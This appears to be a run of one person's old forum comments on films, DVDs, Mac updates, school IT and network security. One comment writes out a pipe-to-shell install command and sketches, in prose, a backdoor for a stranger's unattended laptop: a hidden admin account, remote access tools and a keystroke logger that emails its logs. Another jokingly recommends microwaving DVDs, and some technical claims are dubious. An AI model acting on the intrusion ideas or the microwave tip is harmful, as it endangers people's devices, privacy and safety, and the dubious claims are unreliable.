The Final Fantasy Movie or "Final Fantasy: The Spirits Within" wasn't a movie about a game. It was given a name to fit in with the series because it follows a lot of common themes through the Final Fantasy series. Themes like shared spiritual energy between the earth (Gia) and its inhabitants. SquareSoft (rather Square Enix or something like that) wasn't trying to make a movie off the game, just a different type of chapter to the Final fantasy series.
Personally I hope this movie doesn't go the way of the Tomb Raider series. Not that the movie had much to build off of...
WRONG again. DVDs have the data in between two layers of plastic. So scratch the label as much as you want, it won't damage the data as long as you don't puncture the plastic.
Fun Tip: Nuke a DVD for a minute or two and the two plastic disks will slide apart. Double the frisbees double the fun.;-)
Finder and applications that allow you to browse the file system will now refresh the contents of a remote network volume's folder or directory when the folder's contents change.
and
Addresses an issue in which Finder unexpectedly quits if the View menu option "Show icon preview" is enabled while dragging a significant number of icons to another location.
mean to me.
When ever I used a network share and I changed something from the server or from another computer I'd have to play with the finder for a long time to get it to refresh.
I happen to like the icon preview and I had it on globally by default. The first time I hooked up my digital camera the finder jumped to 100% cpu usage and stayed that way even after generating all the thumbnails.
You obviously don't have a newer mac. On not so recent trip to the west coast (to visit family) I was able to watch 15 episodes of trigun (about 22 minutes each) from cd on my powerbook 1ghz. I turned the brightness down on my screen and if I was smart I would have copied the files to the hard drive so I wouldn't have to keep the cd spinning. Either way I was able to finish the series on nothing more then 2 batteries charge. The 15 episodes being much longer then a single dvd.
I think apple boasts 4 hours on a single battery - ymmv.
But I'm glad that there has been so many attacks against linux and other oss projects.
Kernel.org, debian.org, gentoo.org Gnu.org All of them had security holes and now those holes are plugged.
I used to run a few servers. Mostly web-servers, but I had a few for mail and other things. Almost every single one was hacked all in the same 2 month period. I had kept up with updates and I figured I was secure. If I wasn't hacked I would have never known that I wasn't secure and I could have been seriously screwed down the line. It was a much needed eye opener.
I transfer a few million packets a day just browsing the web. I fail to see how over 150 is being hit hard. I'm sure your firewall was running hot just keeping up.

I asked my left handed friend why he doesn't use a left handed mouse. He said he's always used his right hand and while he can use his left it feels wierd.
So.. he might not be sick of this.
Also Logitech Mice don't suck, I've been using thier mice for quite a few years (as well as microsoft and about a jillion no name brands) and I have to say I'm quite fond of most of thier products. They even had a very nice countoured mouse with thumb buttons that had a rubber grip to top the entire thing off. But of course, it was right hand only so you might not have been aware of it.
To be fair dongle's don't carry encryption info. Nor did anyone expect you to pay money for this. This is tartgeted more for docters and such with patien information on thier laptops. I for one like the idea but I'd have having something stealable as the key. As least the key needs its own "key" (a password) to operate, but the artical never said exactly how that worked.
I think its a good idea espicaly if it expands I'd like to see other devices use the same key. You could start your car, buy a coffe, walk in the (locked) parking entrence at work, open your office, and log in your computer all with a password you entered in your watch when you woke up.
I like it - beats the hell our of attaching a dongle into the back of my computer to use the encyclopedia bratianica. (way back when)
If thats all your looking for you can restrict your searches with a...
nmap -PT79 *|grep girl
This should get you any girl in the area with an open port 79.
But of course why not scan for more interesting ports? Your going to want to start with one of these
-nameserver 42/tcp name #Host Name Server
-nicname 43/tcp whois
Then move on to
-talk 517/tcp
it usaly helps when trying to gain access but from there you can take it to any of the folowing
-rje 5/tcp #Remote Job Entry
-bgp 179/tcp #Border Gateway Protocol
-objcall 94/tcp #Tivoli Object Dispatcher
I'd look out for
-nntp 119/tcp usenet #Network News Transfer Protocol
it's never any fun
and if your brave
-dcp 93/tcp #Device Control Protocol
-bootps 67/tcp dhcps #Bootstrap Protocol Server
-gopher 70/tcp #Scary Scary Scary thoughts
-at-nbp 202/tcp #AppleTalk Name Binding

And make sure this one is disabled
-softpc 215/tcp #Insignia Solutions

This would have nothing to do with bash anyway. I'm not familiar with the kernel mod or how I would use "makedev" to create the socket access your looking for but that in its self wouldn't be used for making a backdoor. SSHD, TELNETD, FTPD, even SMTP could be used.
In fact you can run "sshd" with the "-f" option to specify an alternate config file. ( OpenSSH_3.0.2p1) Regardless of what a user is already running the ssh demon could be told to run on a specified port with a key used for authentication (no pw). The author of the virus could easily scan for services on that port and log into remote machines with full root access with out breaking a sweat.
Alternatively a virus could do much worse then just get root on a box. A couple of days ago I found a Apple Powerbook laying unprotected and on the net at a Starbuck in NYC. I remembered recently installing Nessus and running one command to install the entire program.
lynx -source http://install.nessus.org | sh
I wanted to be able to walk over to a computer and run;
And have it use a simple Mac OSX trick (you don't need root privileges to create an administrator account - a normal user account with sudo for full access) to get a root level access and download and install an array of programs from (a Mac OSX) vnc, a ddns account creator and updater (for remote access regardless of the current IP) and have it enable the already built in SSH demon. I could then just log in with my default pw and throw the users privacy out the window.
I'm not a programmer (I'm quite poor at it), I'm an electrical engineer and I could have a working version of this in less then a week. Imagine what somebody who knew what they were doing could do.
But why stop there? One could be made for almost any OS out there! A simple program run in the background from the net and you could have any machine you wanted. My friend and I also talked about less intrusive programs to install, like a key logger that would compress and email the logged strokes every 500,000 taps. Or just some "bugware" that would harass the user every few minutes or move windows around. It could be anything.
(In short) Shell scripting is a powerful tool that can be used for almost anything good and bad. Users and Administrators need to be careful of how much access they have and if they have root privileges before executing any foreign scripts. But of course that's just common sense.
I hate to ask it but "How would we teach the kids about open source apps?" I'm a student in a public NYC high school and I just had a 7 month project taken away from me that was going to get the school a web-server, run Linux on it, and educate a group of students in Linux systems administration to run the sever once I graduate. One of the School's "Qualified" teachers decided he should take it over and now wants to run Windows NT on it instead.
I was dumb-struck.
The reason for the switch was that the teacher already knew windows NT from our School's current computer systems. Systems that the BOE gave to the school, but systems that were all running windows.
Now a few years later from when we received these computers we finally have some teachers and 2 technicians to run and maintain our machines. Since *every* machine came preinstalled with windows our teachers only know how to operate windows, and the BOE provided technicians were only trained in windows administration. So any hope for an open source class has vanished.
On the "flip side" a different major high-school in NYC (Stuyvesant High School) mostly runs Unix and Linux on their machines. Of course they have windows labs but all their servers and a lot of their workstations run Unix and Linux. The reason why this school is different is because *before* NYC's BOE got their act together Stuy went and got their own sys admin who set up their (quite impressive) current systems.
I don't know the details of the dispute but I understand the BOE wanted to move the servers over to windows NT 4 (something called "Project connect") and take the School's private T1 connection (All other schools currently get their connection through the BOE who NATs them all behind *one* IP and forces them to use a dreadfully slow filtered proxy for web access.) away from them. This was resolved with the connection now going through the BOE (Stuy got to keep its Class B network) who seem to have frequent routing problems to their network.
I'm *only* (I use the term loosely) a student but been involved closely with the operations and setup of a few schools here in NYC. The BOE here is a Microsoft shop. All new computers are PCs mostly Dells and all with Windows. All training provided is for these systems, and anyone with any extensive outside knowledge of any alternatives is rare. While I only speak from what I've seen here in NYC I don't see how Public Schools here have any choice but to agree to Microsoft's terms and conditions.
I'm sorry phone lines are not low voltage and they do cause interference with CAT5 cable. But it doesn't have too much to do with voltage and more with frequency. Phone lines run at a much higher frequency (around 2.6khz) then power lines, but they only run at around 60v (I believe). Power lines run around 120v @ 60hz, while the voltage is higher the frequency is much lower (43 times).
What all this means is that phone lines have a shorter range but can cause more interference, and power lines have greater range but won't completely wreck the signal.
Just remember to use shielded cable at all times, you'll thank yourself for it later.
Personally I don't understand why they're doing it. When you attack a server or a host you hurt the server or the host. When you go after a router you effect all the servers and host on the network it covers, or if the router is connected to other routers it will bring down the connection between them. Now the part I don't understand if why do this if it effects them too?
And frankly I've had enough of the normal server attacking DoS attacks. Since any "script kiddie" with a broadband connection or a few bots at his command can stage they're quite common and still a menace. In fact as I'm writing I'm getting attacked right now.
